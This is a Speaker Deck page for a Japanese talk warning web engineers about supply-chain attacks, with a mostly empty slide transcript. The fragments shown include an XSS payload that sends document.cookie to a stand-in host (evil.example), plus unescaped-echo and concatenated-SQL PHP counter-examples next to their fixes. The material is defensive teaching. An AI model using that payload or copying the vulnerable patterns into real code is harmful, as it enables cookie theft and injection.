Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
サプライチェーン攻撃とWebエンジニアの日常
Search
Shinya Saita
May 30, 2026
Technology
73
0
Share
Embed
Copy iframe code
Copy JS code
Copy link
Start on current slide
サプライチェーン攻撃とWebエンジニアの日常
最近はやっているサプライチェーン攻撃について振り返りと注意喚起を
Shinya Saita
May 30, 2026
More Decks by Shinya Saita
See All by Shinya Saita
個人OSSが、机の上から世界に広がるまでの話
shinyasaita
1
390
AIコード生成×サプライチェーン攻撃 — PHPが直面する“二重の信頼問題
shinyasaita
0
680
Chrome拡張機能で会議の遅刻・延長を解消した話
shinyasaita
0
120
PHPで常に象を意識する方法
shinyasaita
0
75
Claude Code 珍プレー好プレー
shinyasaita
0
410
失敗を資産に変えるClaude Code
shinyasaita
0
1.6k
みんなが知らないトランプの世界
shinyasaita
0
31
AI Agentのメモリを覗いてちょっと焦った話
shinyasaita
0
130
北海道でしょう〜2017年の記録〜
shinyasaita
0
21
Other Decks in Technology
See All in Technology
OSPN.JPバージョンアップ作業進捗のご報告 / 20260801-osc26kyoto
akkiesoft
0
490
【CEDEC2026】グラフィックスエンジニアのためのニューラルシェーディング入門
cygames
PRO
0
140
Contract One Engineering Unit 紹介資料
sansan33
PRO
0
19k
その“隠したつもり”が命取り ── 自前と平文をやめて「正解」に委ねる
kuroneko13
0
110
つくって納得、つかって実感! 大規模言語モデルことはじめ ver2.0
recruitengineers
PRO
4
1.6k
修正PRを食べてレビュースキルが賢くなる:Claude Codeによる自己改善サイクル
yuyaumetsu
6
1.5k
社内の7割が使うデータ基盤を、 データチーム2人で回すためにやったこと
koh_yoshi
4
1.3k
変化の早いClaude Codeを 書籍に落とし込む
oikon48
7
1.4k
LLM・AIエージェントシステムベストプラクティス
shibuiwilliam
6
1.1k
システム思考で問題に対処する
yussak
0
260
【CEDEC2026】コードレビュー支援ツール開発から学ぶ:LLMを用いた業務システムの実践的な運用設計と誤出力対策
cygames
PRO
0
670
Bits Agent Builder の⼊⾨と活⽤事例
nulabinc
PRO
0
130
Featured
See All Featured
Rebuilding a faster, lazier Slack
samanthasiow
85
9.6k
From Legacy to Launchpad: Building Startup-Ready Communities
dugsong
0
290
Heart Work Chapter 1 - Part 1
lfama
PRO
8
36k
How Fast Is Fast Enough? [PerfNow 2025]
tammyeverts
3
750
Mobile First: as difficult as doing things right
swwweet
225
10k
The Anti-SEO Checklist Checklist. Pubcon Cyber Week
ryanjones
0
200
AI: The stuff that nobody shows you
jnunemaker
PRO
9
900
How to build a perfect <img>
jonoalderson
1
5.9k
Sam Torres - BigQuery for SEOs
techseoconnect
PRO
0
460
How to Talk to Developers About Accessibility
jct
2
510
The Myth of the Modular Monolith - Day 2 Keynote - Rails World 2024
eileencodes
28
3.6k
More Than Pixels: Becoming A User Experience Designer
marktimemedia
3
480
Transcript
None
None
None
None
None
None
None
None
None
None
None
None
None
None
<script src="//cdn.polyfill.io/...">
laravel-lang/http-statuses actions attributes helpers.php autoload.files
$ composer update # # composer.lock composer.lock
None
None
<?php // echo " " . $_GET['name'] . " ";
// echo " " . htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8') . " "; ?name=<script>fetch('//evil.example/'+document.cookie) </script>
@csrf SameSite=Lax Strict
<?php // ( ) $sql = "SELECT * FROM users
WHERE id = " . $_GET['id']; // ( ) $stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id"); $stmt->execute([':id' => $_GET['id']]);
None
composer.lock composer audit roave/security-advisories
None
composer.lock composer audit
None